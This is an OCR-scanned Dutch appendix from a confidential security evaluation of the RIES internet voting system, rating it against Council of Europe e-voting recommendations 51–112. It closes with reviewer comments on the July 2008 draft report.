afgedrukt. In dit bewÍjs is de elektronische stem
opgenomen waarmee kan worden afgeleid waarop is
gestemd. Derhalve kan een kiezer in het bezit komen van
een bewíjs van de inhoud van de uitgebrachte stem en is
dus in strijd met deze aanbeveling.
Verder worden er onvoldoende maatregelen genomen om
te voorkomen dat een kiezer een afdruk maakt van het
stemscherm (bijvoorbeeld doormiddel van
waarschuwinoen).

52. Zodra de kiezer zijn stem heeft uitgebracht zal, in een
gecontroleerde omgeving, diens stemkeuze niet langer
weergegeven worden door het visuele, auditÍeve of tastbare
communicatiemÍddel dat de kiezer gebruikt heeft om zijn stem uit
te brengen. Wanneer inhet stemlokaal een papíeren bewijs van de
elektronisch uitgebrachte stem aan de kiezer wordt verstrekt, dan
mag de kiezer niet demogelíjkheid hebben om dit tonen aan een
ander persoon, en mag dit bewijs het stemlokaal ook niet
verlaten.

Toelíchting: Het elektronische stemsysteem dient een voorziening
te bevatten die voorkomt dat alle informatie waaruít kan worden
afqeleÍd welke stem is uitqebracht, wordt verwiÍderd.

Afhankelijk van
implementatie
Best effort

Zie opmerking bij aanbeveling 51.

V. Stemooneminq
53. Het elektronische stemsysteem moet vermÍjden dat het
aantal stemmen dat uitgebracht is voor iedere stemkeuze
vrÍjgegeven wordt voor het sluiten van de elektronÍsche stembus.
Deze informatie zal niet bekendgemaakt worden aan het publÍek
voordat de stemperiode ten einde is.

Voldoet
Conceptueel
Afhankelijk van
Ímolementatie

Geen opmerkingen.

54. Het elektronische stemsysteem zal eruoor zorgen dat men
geen informatíe over de uÍtgebrachte stemmen kan verwerken in
doelbewust gekozen deeleenheden waaruit men de keuzes van
indÍviduele kiezers zou kunnen afleiden.

Voldoet
Conceptueel

Geen opmerkingen.

55. Elke vorm van decodering die noodzakelijk Ís om de
stemmen te tellen zal zodra dit praktisch haalbaar is na het
afsluiten van de stemperiode uitqevoerd worden.

Voldoet
Conceptueel

Geen opmerkingen,

56. Bij het tellen van de stemmen zullen vertegenwoordigers van
de bevoegde verkiezÍngsautorÍteit in de mogelijkheid gesteld
worden om aan de tellÍng deel te nemen en elke waarnemer zal
, emoqelijkheid hebben de tellinq waar te nemen.

Voldoet
Conceptueel

Geen opmerkingen.

VERTROUWELI]K 5B



57. Er zal verslag opgemaakt worden van het optelproces van de
elektronische stemmen, dat ook informatie zal bevatten over het
begin en einde van de telling en over de personen die er
biibetrokken waren.

Voldoet
Conceptueel

Geen opmerkingen.

58. Als er zich onregelmatigheden voordoen die de integriteit van
stemmen beïnvloeden, zullen de betrokken stemmen als zodanig
in het verslaq oDqenomen worden.

Voldoet
Conceptueel

Geen opmerkingen.

VI. Controleerbaarheid (Aud it)
59. Het elektronische stemsysteem moet onderworpen kunnen
worden aan een audit.

Voldoet Geen opmerkingen.

60. De conclusies van het audÍtproces zullen verwerkt worden in
toekomstiqe elektronische verkiezinqen en referenda.

Niet van
toepassinq

Geen opmerkingen.

3. Appendix III - Technische vereisten
A. Toeqankeliikheid
61. Er worden maatregelen getroffen die verzekeren dat de
relevante software en diensten door alle kiezers gebruikt kunnen
worden, en indien nodig, die toegang verschaffen tot alternatieve
manieren om te stemmen.

Toelichtíng: Om de toegankelijkheid en het bedieningsgemak te
garanderen dient aandacht te worden gegeven aan verschillende
g ebru i kersgerel ateerd e ra n dvoo rwa a rden zoa ls leeft ijd,
taal,lichameliike handicap en levenswijze.

Onbepaald
Afhankelijk van
implementatie

Dit hangt sterk af van de uiteindelijke implementatie. In
(17) worden een aantal verbeterpunten genoemd die de
toegankelfkheid en bedieningsgemak van de interface van
het stemsysteem kunnen verbeteren, Dít rapport betreft
echter een prototype van een oude versie van het
systeem. Het ontbreekt aan documenten waaruit blijkt dat
dit getest of geëvalueerd is voor de huidige versie. Zie ook
opmerkingen bij aanbeveling l, 3,20 en 63.

62. Men dient gebruikers te betrekken bij het ontwerp van
elektronische stemsystemen, in het bijzonder om beperkingen te
identificeren en om het gebruiksgemak ín elke belangrijke fase
van het ontwikkelingsproces na te gaan.

Toelichting: De werking van elektronische stemsystemen dient
functioneel te zijnen geschÍkt voor de verschillende doelgroepen
zonder onnodige complexe of buitensporíge dure opties die
slechts marqinaal voordelen bieden.

Voldoet
Conceptueel

Geen opmerkingen.

63. Gebruikers krijgen, indien vereist en mogelijk, bij komende
voorzieningen ter beschikking gesteld, zoals speciale interfaces of
andere equivalente hulpmiddelen, zoals persoonlijke begeleiding.
Gebruikersvoorzieningen zullen zoveel mogelijk Ín
overeenstemming zijn met de richtlijnen van de Web Accessibility
Initiative (WAI).

Toelichting: Om de toegankelijkheid van elektronische
stemsystemen voorpersonen met een handicap zo groot mogelijk
te maken, kan worden aanqesloten bÍÍ bestaande initiatieven.

Onbepaald
Afhankelijk van
implementatie

Dit hangt sterk af van de uiteindelijke implementatie. Het
ontbreekt aan documenten waaruit blijkt dat dit getest of
geëvalueerd Ís voor de huidige versie. Bijvoorbeeld of deze
voldoet aan de richtlijnen van de Web Accessibility
Initiative (WIA). Zie ook opmerkingen bij aanbeveling 1, 3,
20 en 61.
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64. Er zal bij de ontwikkeling van nieuwe producten
rekeninggehouden worden met hun compatíbiliteit met bestaande
producten,inbegrepen die producten die technologieën gebruiken
die ontworpen zijn om mensen met een beperking te helpen.

Toelichting : Nieuwe versies van elektronische stemsystemen
kunnen zo afwÍjkend zijn, dat deze niet meer aansluÍten met in
gebruík zÍjn de elektronísche hulpmiddelen. Aansluiting bij
internationale standaarden en eventueel het opstellen en
bijhouden van een lijst met uitwisselbare systemen, apparatuur
en elektronische hulpmiddelen kan bijdragen aan het voorkomen
van derqelÍike sítuaties.

Onbepaald
Afhankelijk van
implementatie

Dit hangt sterk af van de uiteindelijke implementatie. Het
ontbreekt aan documenten waaruit blijkt dat dit getest of
geëvalueerd is voor de huidige verste.

65. De presentatie van de stemkeuzes dient geoptimaliseerd te
zijn voor de kiezer.

Toelichting : Elektronísche stemsysteem producten en -diensten
moetenaangepast kunnen worden aan de beperkingen van de
individuele gebruiker zonder afbreuk te doen aan de principes van
gelijkwaardigheid (zie aanbeveling 47 tlm 49). Dit kan onder
andere worden bereikt door een modulair ontwerp, het aanbieden
van verschillende modellen stemmachines of wijzingen van opties
oo het svsteem.

Onbepaald
Afhankelijk van
implementatie

Dit hangt sterk af van de uÍteindelijke implementatie. Het
ontbreekt aan documenten waaruit blijkt dat dit getest of
geëvalueerd Ís voor de huidige verste.

B. Uitwisselbaarheid (Interoperabiliteit)
66. Vrij toegankelíjke standaarden zullen gebruikt worden om er
voor te zorgen dat verschillende technische componenten
ofdiensten van een elektronisch stemsysteem, mogelijk afkomstig
van verschÍllende bronnen, met elkaar kunnen werken.

Toelichting: Om combinaties van elektronische stemsystemen en
elektronísche hulpmíddelen van verschillende leveranciers te
ondersteunen,moeten deze onderlíng uítwísselbaar zijn. Met name
de in- en uitvoer van gegevens moet voldoen aan open
standaarden.

Voldoet
Conceptueel

Geen opmerkingen.

67. Op dit moment is de Election Markup Language
(EML)standaard zo een vrij toegankelíjke standaard en om
interoperabiliteit te verzekeren zal EML indien mogelijk gebruikt
worden voor toepassingen van een elektronische verkÍezing of
een elektronisch referendum. De beslissing over het gebruik van
EML is een zaak van de lidstaten. De EML standaard geldig op het
moment dat deze aanbeveling werd aangenomen en de
ondersteunende documentatie zijn beschÍkbaar op de websÍte van
de Raad van Europa.

Niet van
toepassing

Nederland heeft aangegeven bij de Raad van Europa dat er
geen gebruik wordt gemaakt van EML.
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68. In gevallen waarbij specifieke eisen gesteld worden aan
verkiezings- of referendumgegevens zal een
localiseringsprocedure gebruikt worden om aan deze noden
tegemoet te komen. Dit laat toe om de te verstrekken informatíe
uit te breiden of te beperken, terwijlde compatibilíteit met de
generísche versie van EML toch behouden blijft. De aanbevolen
procedure is om gestructureerde schema languages en pattern
lanquaqes te qebruiken.

Voldoet
Conceptueel

Geen opmerkíngen.

C. Svsteemwerkinq
69. De bevoegde verkiezingsautoriteiten publiceren een offíciële
lijst van de bij een elektronische verkiezing referendum gebruikte
software. Lidstaten kunnen er op veilígheidsgronden van afzien
om databeveíligingsgronden in deze lijst op te nemen. De lijst zal
minstens aangeven welke software gebruikt wordt, de versies, de
datum van installatie en een korte omschrijving. Er zal een
procedure voorzien worden om geregeld geactualíseerde versies
en correcties van de relevante beveiligingssoftware te installeren.
Het moet mogelijk zUn om op elke moment de
beveiligingstoestand vande stemapparatuur na te gaan.

Toelichting: Het is noodzakelijk dat verantwoordelijke instanties
er zorg voordragen dat elektronische hulpmiddelen (hardware en
software)actueel blijven met het oog op de voortschrijdende
technologische ontwikkelingen. Eventuele aanpassing moeten
geceftÍficeerd worden voordat deze doorgevoerd mogen worden.
Het behouden van volledige transparantie is hierbij belangrijk.
Exacte, volledige en actuele beschrijvingen van de elektronische
stemsysteem componenten moeten worden gepubliceerd. De
resultaten van de certificering moeten ten minste beschikbaar
worden gesteld aan de verantwoordelijke autoriteiten, politieke
groeperingen en, afhankelijk van wettelijke bepalingen, aan het
publiek.

Voldoet Geen opmerkingen.
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70. Diegene die voor het beheer van de
apparatuurverantwoordelíjk zijn zullen een noodgevalprocedure
opstellen. Alle back-upsystemen moeten aan dezelfde
standaarden en vereisten voldoen als het originele systeem.

Toelichting: Een elektronisch stemsysteem moet voldoen aan de
hoogste mate van betrouwbaarheid. Daarom is het noodzakelÍjk
dat procedures geformaliseerd zÍjn, zoals voor het omgaan met
(technische)storingen, uitzonderlÍjke situatÍes en
beveilígingsÍncidenten, en dat adequate middelen om problemen
op te lossen beschikbaar zijn. VerkiezÍngsautoriteíten moeten een
dienstenniveau (servÍce level)defÍniëren voordat een stemsysteem
wordt gebruikt. Op basis hiervan dienen risicoanalyses en
moqelijke scenario's te worden opqesteld.

Voldoet
Conceptueel

Geen opmerkingen.

7L. Voldoende backup maatregelen zullen aanwezíg en
permanent beschikbaar zijn om een vlot verloop van de stemmÍng
te verzekeren. De betroffen medewerkers zullen klaarstaan om
snel tussen te komen volgens een door de bevoegde
verkiezi nqsa utoriteite n o pqestel d e p roced ure.

Voldoet
Conceptueel

Geen opmerkingen.

72. De verantwoordelijken voor de apparatuur gebruikenspeciale
procedures om er voor te zorgen dat gedurende de kÍesperiode de
stemapparatuur en het gebruik ervan aan de vereisten voldoen.
De backup diensten worden regelmatig voorzien van
controleorotocollen.

Voldoet
Conceptueel

Geen opmerkÍngen.

73. Voor elke verkiezing of referendum wordt de apparatuur
gecontroleerd en goedgekeurd volgens een door de bevoegde
verkiezingsautoriteiten opgesteld protocol. De apparatuur wordt
gecontroleerd om er voor te zorgen dat ze voldoet aan de
technische specificaties. De bevindíngen worden aan de bevoegde
verkiezi n gsautorÍte iten voorg elegd.

Toelíchting: De verkiezingsautoriteíten, kandidaten en eventuele
waarnemers moeten in staat zijn om het gehele of delen van het
elektronische stemsysteem te laten inspecteren door een
gespecialiseerde instantie. Hierbij moet onderscheid gemaakt
worden in reguliere controles na afloop van de stemming
(uitgevoerd door de organiserende instantie) en controles na
wijzigingen aan het stemsysteem (uitgevoerd door een extern
oroaan).

Voldoet
Conceptueel

Geen opmerkingen.
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74. Alle technÍsche verrichtingen zijn onderhevig aan een formele
controleprocedure. Alle belangrijke wijzigingen aan
centraleappa ratu ur worden aan gekondigd.

Toelichting: Alle werkzaamheden aan hardware en software
brengen risíco's met zich mee. Deze rísico's moeten tot een
minimum beperkt worden,met name wanneer een stemsysteem
in gebruik is. Geautomatiseerde procedures hebben de voorkeur.
Beheer op afstand dient te worden beperkt. Gevalideerde
werkprocedures dienen te worden gevolgd die het aantal
geautoriseerde personen,om de werkzaamheden te verrichten, tot
een minimum aantalbeperkt. Verificatie van iedere handeling
moet worden uitgevoerd door ten minste twee gekwalificeerde
personen die zijn gebonden aan een beveiligingsbeleid opgelegd
door de bevoegde autoriteit. Bovendien moeten de electorale
autoriteiten op de hoogte zijn gebracht van alle krítische
aanpassinqen oD het stemsvsteem.

Voldoet
Conceptueel

Geen opmerkingen.

75, Centrale apparatuur voor elektronísche verkiezingen of
referenda wordt in een beveiligde zone geplaatst en die zone
wordt gedurende de verkiezings- of referendumperiode
beschermd tegen tussenkomsten van welke soort en persoon ook.
Gedurende de verkiezings- of referendumperiode zal er een
procedure voor herstelna een materiële ramp ter beschikking zijn.
Bovendien worden alle data die na de verkiezing of referendum
behouden blijft veilig opgeslagen.

Toelichting: Centrale systemen moeten geïnstalleerd worden in
een beveiligde en gecontroleerde omgeving waarbij de fysieke
toegang beperkt ís. Om adequaat te kunnen reageren op
calamiteiten dient in een uitwijkmogelijkheid te worden voorzien.
Indien relevant dienen alle verkíezingsgegevens te zijn
opgeslagen op een veilige wijze, waarbíj verschillende kopieën
van de gegevens gemaakt worden op verschillende opslagmedia,
en deze dienen op verschillende locaties bewaard te worden.

Voldoet
Conceptueel

Geen opmerkingen.
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76. Als er zich íncÍdenten voordoen die de integriteít van het
systeem in gevaar brengen brengen de verantwoordelijken voor
het beheer van de apparatuur onmiddellijk de bevoegde
verkiezingsautoriteiten op de hoogte, die de nodige stappen
ondernemen om de gevolgen van het incídent onder controle te
brengen. De verkiezingsautoriteiten bepalen vooraf hoe erg een
incídent moet zijn om gerapporteerd te worden.

ToelichtÍng: (Beveiligíngs)incidenten moeten worden gemeld aan
de bevoegde autorÍteiten die o.a. verantwoordelijk zijn voor
afhandeling in overeenstemming met de wet- en regelgevÍng, en
dat politieke groeperÍngen en kiezers adequaat worden
qeïnformeerd indien relevant,

Voldoet
Conceptueel

Geen opmerkingen.

D, Beveiliqinq
I. Alqemene eisen
77. Technische en organisatorische maatregelen worden
getroffen om er voor te zorgen dat geen enkel gegeven
permanentverloren gaat Ín geval van een systeemuÍtval of
systeemfout in het elektronisch stemsysteem.

Toelichting: Hoewel, afhankelijk van de fase in het
verkiezingsproces, het elektronÍsche stemsysteem gedurende een
zekere periode nÍet beschikbaar mag zijn (downtime), dient
rekening te worden gehouden met aanvallen van een
kwaadwillende en moet een indicatie van de beschikbare
reservecapacíteit van het stemsysteem worden aangegeven. AudÍt
informatie moet voor alle fasen in het verkÍezingsproces
beschikbaar ziin.

Voldoet Geen opmerkingen.

78. Het elektronisch stemsysteem waarborgt de privacy van de
kiezer. De vertrouwelíjkheid van de kieslijsten die in het
elektronisch stemsysteem opgeslagen worden of door het
systeem doorgegeven worden is gewaarborgd.

Conceptueel
De gebruikte crypografische methode blíjft nÍet altijd
onkraakbaar. Omdat de uitslag wordt gepubliceerd is er
een moment (in de toekomst) waarbij de uitgebrachte
stem is te herleiden naar een bepaalde kiezer (zie ook
bevinding 5.1). De privacy van de kiezer wordt in dit geval
níet voor altijd gewaarborgd zoals Ín deze aanbeveling
wordt qeëist. Zie ook aanbevelinq 17.

79. Het elektronisch stemsysteem controleert regelmatig dat zijn
onderdelen ín overeenstemming met de technische specificaties
functioneren en dat alle diensten beschikbaar zijn.

Voldoet
Conceptueel

Geen opmerkingen.

80. Het elektronisch stemsysteem beperkt de toegang tot zijn
diensten op basis van de Ídentíteit of de rol van de gebruiker tot
díe diensten die expliciet toegekend zíjn aan die gebruiker of rol.
Authentisering van de gebruíker moet doorgevoerd zijn vooraleer
eniqe actÍe ondernomen kan worden.

Voldoet
Conceptueel

Geen opmerkíngen.
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81. Het elektronísch stemsysteem moet de authentiseringsdata
zodanig beschermen dat onbevoegden deze data of delen ervan
niet kunnen misbruiken, onderscheppen, modificeren of er
anderszins kennis van kunnen nemen. In ongecontroleerde
omgevingen is authentisering gebaseerd op cryptografische
mechanismen aangewezen.

Toelichting: Elektronische stemsystemen dienen een vorm van
authenticatie enautorisatie te kennen voor de uitvoering van
handelÍngen en in iedergeval voor toegang tot
(verkiezinq )qeqevens.

Voldoet
Conceptueel

Geen opmerkÍngen.

82. Er moet voor gezorgd worden dat de kiezers en de
kandidaten eenduidig geïdentificeerd worden en dat geen
verwisseling met andere personen mogelijk is.

Toelichting: Unieke identificatie van een persoon moet ten minste
plaatsvinden voor de bepaling van de kiesgerechtigheÍd.
Maatregelen dienen te zijn getroffen om dubbele identiteiten te
kunnen voorkomen in het kiezersregister. Ten minste een op
identiteit gebaseerde authenticatíe bij het registeren van de
kiesgerechtigheid, de kandidaatstelling en het uitbrengen van een
stem wordt aanbevolen.

Conceptueel
De kiezers worden geïdentificeerd op naam en adres. Dit ís

echter niet in alle gevallen voldoende. Er wordt in het
stempakket geen extra onderscheidend kenmerk
opgenomen zoals BSN nummer of geboortedatum. Bíj
stembiljetten met gelijke naam en adres is het zelfs
mogelijk dat de stemmen onbedoeld ongeldig worden
omdat de authenticatie, het geboortejaar, is verwisseld.
Bijvoorbeeld vader en zoon hebben de zelfde naam en
adres en kríjgen beiden een stempakket. Omdat ze nÍet
kunnen bepalen welke stempakket van wie is kunnen ze
het verkeerde pakket gebruiken. Als ze dan via de post
hun stem uitbrengen worden beide stemmen ongeldig
gemaakt omdat de geboortejaar verkeeft is ingevuld. Het
ontbreekt aan documenten waaruit blijkt dat deze situatie
uitqesloten wordt.

83. Elektronische stemsystemen genereren betrouwbare en
voldoende gedetailleerde waarnemingsdata zodat kíeswaarneming
uitgevoerd kan worden. Het tijdstíp waarop een gebeurtenis
waarnemíngsdata genereerde, zal nauwkeurig bepaalbaar zijn. De
authenticiteit, beschikbaarheid en íntegriteit van de data blijft
oewaarborod.

Voldoet
Conceptueel

Geen opmerkingen.

84, Het elektronisch stemsysteem beschÍkt over betrouwbaar
gesynchroniseerde tijdsbronnen. De nauwkeurigheid van de
tijdsbron zal voldoende zijn om tijdmarkeringen bij te houden
voor auditsporen en waarnemingsdata, alsook voor tíjdsgrenzen
van reqistratie, nominatie, stemminq en tellinq.

Voldoet
Afhankelijk van
implementatÍe

Geen opmerkingen.
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85. De verkiezingsautoríteiten zijn globaal verantwoordelijk voor
het naleven van deze beveiligÍngsvereisten, wat door
onafhankelijke organen beoordeeld wordt,

Toelichting: De verkiezingsautoriteiten zijn er voor
verantwoordelíjk dat het elektronische stemsysteem voldoet aan
beveilÍgingstandaarden. Het aanwijzen van een onafhankelÍjke
ínstelling om hierop toe te zien wordt aanbevolen om onbevangen
te zijn t.a.v. zowel leveranciers als van oolitieke invloeden.

Voldoet
Conceptueel

Geen opmerkíngen.

II. Voorbereidinq voor stemminq
86. De authenticiteít, beschikbaarheid en integriteit van de
kÍezerslijsten en kandidatenlijsten wordt gewaarborgd, De
databron moet geauthentiseerd zijn. Dataprotectiebepalingen
zullen qeresDecteerd worden.

Voldoet
Conceptueel

Geen opmerkíngen.

87. Het moet vaststelbaar zijn of de nominatie van een kandidaat
en, indien nodig, de beslissing van de kandidaat en/of de
bevoegde verkiezingsautoriteit om de nomÍnatie te aanvaarden
qebeurd is binnen vooraf bepaalde tÍidsgrenzen.

Voldoet
Conceptueel

Geen opmerkingen.

88. Het moet vaststelbaar zÍjn dat kiezerregistratíe gebeurd is
binnen vooraf bepaalde tiidsqrenzen,

Voldoet
Conceptueel

Geen opmerkÍngen.

III. Vereisten tiidens het stemmen
89. De integriteit van data die uit de vorige fase doorgegeven
wordt (bijv. kÍezerslijsten en kandídatenlijsten) wordt
qewaarborqd. De databron moet qeauthentiseerd zijn.

Voldoet
Conceptueel

Geen opmerkingen.

90. Er moet voor gezorgd worden dat het elektronÍschstem
systeem een authentíek stembíljet aan de kiezer aanbiedt. In het
geval van elektronísch stemmen op afstand wordt de kiezer
geïnformeerd over de manieren waarop hÍj kan nagaan dat een
verbinding met de ofíiciële server ís tot stand gekomen en dat het
authentieke stembíljet aanqeboden wordt.

Voldoet
Conceptueel

Geen opmerkingen,

91. Het moet vaststelbaar zijn dat een stem is uitgebracht
binnen vooraf bepaalde tiidsqrenzen.

Voldoet
Conceotueel

Geen opmerkingen.

92. Er moet voldoende maatregelen getroffen worden orn te
verzekeren dat de systemen die door de kÍezers gebruikt worden
om hun stem uit te brengen beschermd zijn tegen invloeden die
de stem kunnen wiizioen,

Voldoet
Conceptueel

Er lijken voldoende maatregelen te zijn genomen,

VERTROUWELLIK 66



93. Overblijvende informatie die de keuze van de kiezer bevat of
de weergave van de keuze van de kiezer moet vernietigd worden
na het uitbrengen van de stem. In het geval van elektronisch
stemmen op afstand moet de kiezer geïnformeerd worden over
hoe,voor zover mogelijk, sporen van zijn stem te verwijderen van
het toestel dat gebruikt werd om de stem uit te brengen.

Toelichting: Tijdens het stemmen kan het om technische redenen
nodíg zijn dat informatie over de keuze van de kiezer wordt
vastgelegd op verschillende plaatsen binnen de gebruikte
systemen. Het elektronisch stemsysteem dient zo te zijn
ontworpen, dat restinformatie wordt verwijderd nadat een stem is
uitgebracht. Hoewel dit aspect met name relevant is bij stemmen
buiten gecontroleerde omgevingen, zoals kiezen op afstand, dient
hiermee ook rekening te worden gehouden bij de inzet van
stemmachínes.

Conceptueel
Zie bevindingen 2.4, 3.3, 3.5, 3.7, 3.9. Zowel conceptueel
strijdig met het ontwerp van RIES als problematisch in de
implementatie.

94. Het elektronisch stemsysteem zal eerst nagaan of een
gebruiker díe probeeft te stemmen een stemgerechtigde kíezer is.
Het elektronisch stemsysteem zal de kiezer authentiseren en zal
ervoor zorgen dat het toepasselijk aantal stemmen per kiezer
wordt uitqebracht en opqeslaqen in de elektronische stembus.

Voldoet
Conceptueel

Geen opmerkingen.

95. Het elektronisch stemsysteem zorgt eryoor dat de keuze van
de kiezer nauwkeurig wordt weergegeven in de stem en dat de
verzeqelde stem in de elektronische stembus afqeleverd wordt.

Voldoet
Conceptueel

Geen opmerkingen.

96. Na het eÍnde van de elektronische stemperiode mag geen
kiezer meer toegang hebben tot het elektronisch stemsysteem.
Maar de elektronísche stembus moet voldoende lang open blijven
voor het afleveren van elektronische stemmen om rekening te
houden met vertragingen in het doorgeven van beríchten over het
elektronischstem kanaal.

Voldoet
Conceptueel

Geen opmerkingen.

IV. Vereisten na het stemmen (stemopneming en vaststellen uitslag)
97. De integriteit van data die uit de vorige fase doorgegeven
wordt (bijv. kíezerslijsten en kandidatenlijsten) wordt
gewaarborgd. De databron moet geauthoriseerd zijn.

ToelichtÍng : Herkomst en integriteit van verkiezingsgegevens,
met name uitgebrachte stemmen, moeten kunnen worden
vastgesteld. Hoewel dit kan geschieden door conventionele
methoden zoals verzegelde enveloppen en koeriers, heeft het de
voorkeur om ten minste elektronische beveiligingsmaatregelen te
qebruiken,

Voldoet
Conceptueel

Geen opmerkingen.
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98. Het telproces telt nauwkeurig de stemmen. Het tellen van de
stemmen moet herhaalbaar zijn.

ToelichtÍng: Het is belangrÍjk dat het tellen van de stemmen kan
worden gereproduceerd op een ander systeem, betrokken van
een andere leverancier. De betrouwbare werkíng van de
stemmachÍne wordt qetest als onderdeel van de ooedkeurínq.

Voldoet
Conceptueel

Geen opmerkingen.

99. Het elektronisch stemsysteem waarborgt de beschikbaarheÍd
en integriteit van de elektronísche stembus en het resultaat van
het teloroces zo lano als nodio.

Voldoet
Conceptueel

Geen opmerkingen.

E. Controleerbaarheid íAudit)
I. Alqemeen
100. Het auditsysteem wordt ontwikkeld en uitgevoerd als
onderdeel van het elektronisch stemsysteem. Audit
mogelÍjkheden zijn aanwezig op verschillende niveaus van het
systeem: logisch,technisch en op toepassingsvlak.

Toelichting: Auditing is het onderzoeken van het
verkiezingsproces met als doel het verschaffen van aanvullende
zekerheid t.a.v. de verkregen resultaten. In íeder geval het
stemmen, de stemopneming, het verzamelen van de resultaten
en de uitslagberekenÍng moeten kunnen worden onderzocht om
de authentÍciteit van de verkiezÍngsresultaten te bevestigen. Audit
ingaan het elektronisch stemsysteem vereist integriteit en
authenticiteit van de audit informatie en aan veftrouwen Ín de
gebruikte audÍtsystemen. Het grootste gevaar schuÍlt in
onopgemerkte aanvallen die de resultaten beïnvloeden.
Onafhankelijke en uitgebreide bewaking,auditing, onderlinge
verificatie en rapportage aan electoraleautoríteiten is krítisch voor
een eÍektronisch stemsysteem. Elektronische stemsystemen
moeten daarom audít mogelijkheden bieden voor alle belangrÍjke
componenten en op verschillende niveaus (logÍsch, applicatie en
techn isch )

Voldoet
Conceptueel

Geen opmerkíngen.

101. Een volledige audit van een elektronisch stemsysteem
omvat documentatie, waarnemÍngs- en verificatíevoorzieningen.
Om tegemoet te komen aan deze vereísten moeten
auditsystemen gebruikt worden met de eigenschappen van de
vier punten hieronder.

Zie aanbeveling LO2t/m L]-2.

II. Documentatie
LO2. Het audítsysteem is open en omvattend en rapporteert
actief over ootentiële oroblemen en oevaren.

Voldoet
Conceotueel

Geen opmerkingen.

)
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103. Het audit systeem zal tijdstippen, gebeuftenissen en acties
docu menteren, incl usief :

a) alle stemgerelateerde informatie, inbegrepen het
aantalstemgerechtigde kiezers, het aantal uitgebrachte stemmen,
het aantal ongeldige stemmen, de tellingen en hertellingen, enz.;
b) alle aanvallen op de werking van het elektronisch stemsysteem
en zijn communicatie infrastructuur;
c) systeemuitvallen, storingen en andere zaken die een
bedreiqinq voor het svsteem vormden.

Voldoet
Conceptueel

Geen opmerkingen.

III. Toezicht
L04. Het auditsysteem laat toe toezicht te houden op een
verkÍezing of referendum en te verifiëren dat de resultaten en
procedures ín overeenstemming zijn met de geldende
rechtsvoorschriften.

Voldoet
Conceptueel

Geen opmerkingen.

105. Vrijgave van auditinformatie aan onbevoegden moet
vermeden worden.

Voldoet
Conceptueel

Geen opmerkingen.

106. Het auditsysteem waarborgt te allen tijde de anonimiteit
van de kiezer.

Voldoet
Conceptueel

Geen opmerkingen.

IV. Moseliikheid tot verificatie
107. Het audítsysteem beschikt over de mogelijkheid om de
correcte werking van het elektronisch stemsysteem en de
nauwkeurigheid van het resultaat na te gaan en te verífiëren, om
kiezersfraude op te sporen en om te bewijzen dat al getelde
stemmen authentiek ziin en dat alle stemmen qeteld ziin.

Voldoet
Conceptueel

Geen opmerkingen.

108. Het auditsysteem beschikt over de mogelijkheid om te
verifiëren dat een elektronische verkiezing of elektronisch
referendum voldeed aan alle geldende rechtsvoorschriften, met
het doel te kunnen nagaan dat de resultaten een nauwkeurÍge
weerqave zi'in van de authentíeke stemmen.

Voldoet
Conceptueel

Geen opmerkingen.

V. Overiqe
109. Het auditsysteem is beschermd tegen aanvallen díe
opgeslagen gegevens in het auditsysteem corrumperen, wijzigen
of laten verdwiinen.

Onbepaald
Afhankelijk van
ímolementatie

Dit hangt sterk af van de uiteindelijke implementatie. Het
ontbreekt aan documenten waaruit blijkt dat dit getest of
qeëvalueerd is of wordt voor de huidiqe versie.

110. LÍdstaten nemen gepaste maatregelen om er voor te zorgen
dat de vertrouwelijkheÍd van aÍle informatÍe bekomen bij het
doorvoeren van auditfuncties qewaarborqd wordt,

Niet van
toepassing
Niet technisch
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VI. Keurino en certificatie
111. Lidstaten voeren certificatieprocedures in díe toelatenom
elke ICT-component (Information and CommunícationTechnology
component) te testen en zijn conformiteÍt met de technÍsche
vereÍsten beschreven in deze aanbeveling te ceftifÍceren.

ToelÍchtíng: Electorale autoriteiten moeten voorafgaande aan de
stemming kunnen vaststellen dat het elektronische stemsysteem
precies doet wat het behooft te doen. Vaststellen kan
plaatsvinden variërend van testen tot formele certificering.
Wanneer de complexiteit en omvang van de elektronische
stemsvstemen toenemen is een certificatieorocedure nodio.

Onbepaald
Afhankelijk van
implementatie

Er zijn dÍverse ketentesten gepland en uitgevoerd. Het
ontbreekt aan documenten waaruit blijkt of de testcases
correct zijn en/of ter zake doen bijvoorbeeld door een
review van een onafhankelÍjke partij.

LLz. Om internationale samenwerking te bevorderen en
omdubbel werk te vermijden kunnen lidstaten overwegen om
hunrespectievelijke instanties te laten toetreden, als ze dat al niet
gedaan hebben, tot relevante internationale
samenwerkingsverbanden zoals European Cooperation for
Accreditation (ECA), International Laboratory Accreditation
Cooperation (IláC), International Accredítation Forum (IAF) en
andere oeliikaardioe oroanen.

Niet van
toepassÍng
NÍet technÍsch

Geen opmerkingen.
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opmerkingen àbij concept-rapport Fox-lT
15 juli 2008 

r.

Algemeen: { ' "'

. rapport ziet er goed uit, is ook voor niet-deskundigen goed toegankelijk doordat de
technische stukken steeds voorzien zijn van samenvattende tekstblokjes

o eppendix met toetsing geeft ook goed beeld, interessant om naast document van
Waterschapshuis te leggen.

. Nuancering over bruikbaarheid 1 12 aanbevelingen*'in 6.1 is terecht

. Laatste alinea van samenvatting (onderzoek is momentopname, sommige onderdelen waren
nog niet te testen) mag wel prominenter, bv ook in conclusies. ls wel een belangrijke
constatering, die we ook gaan benutten in de onderbouwing van het besluit van de stas,
vermoed ik.

Bij de conclusies:

lk denk dat het laatste discussiepunt op pag. 38 weg kan. In het Waterschapsbesluit wordt ervan
uitgegaan dat bij identieke dubbele stemmen de stem 1 keer geteld wordt, bij niet-identieke
stemmen van dezelfde kiezer is alles ongeldig. Dat wordt in de amvb helemaal uitgesplitst voor
allerlei combinaties. Omdat de regelgeving poststemmen en internetstemmen onderscheidt,
wordt in het geval een kiezer zowel een poststem als een internetstem uitbrengt op dezelÍde
kandidaat, wordt.de briefstem on$eldig verklaard en geldt alleen de internetstem.

In het document nr 50 (RIES-2008:Design Information for purposes of evaluation) staat op pag.

13 het volgende over de venruerking van de stemmen:

c. ln case of multiple valid vote pairs for this VnPID:
i. All from one s,ource (internet or postal)?

1 . Yes; in case all equal: mark first as countable vote with proper Cm, all others
as duplicaÍions
2. No: mark all as invalid because of different votes

ii. All valid yoÍes from two sources: mark all votes from the source with the lowest priority
as overruled, process Íhe votes of the source with the highest priority as described in the
step Above.

Nofe. actual rules might be different to match legislation.

Dit is voor zo ver ik het overzie in overeenstemming met artikel 2.68, als de poststem gezien
wordt als de stem met de lowest priority.

En dan nog een paar details:
o Pag 32: er zijn26 waterschappen, geen 27..
o Pag 33: districten: wordt hier kiesdistricten bedoeld?
. Pag 49 bij punt 13 wordt verwezen naar aanbeveling 98. lk zie daar niets relevants staan,

klopt het nummer wel?



Van:
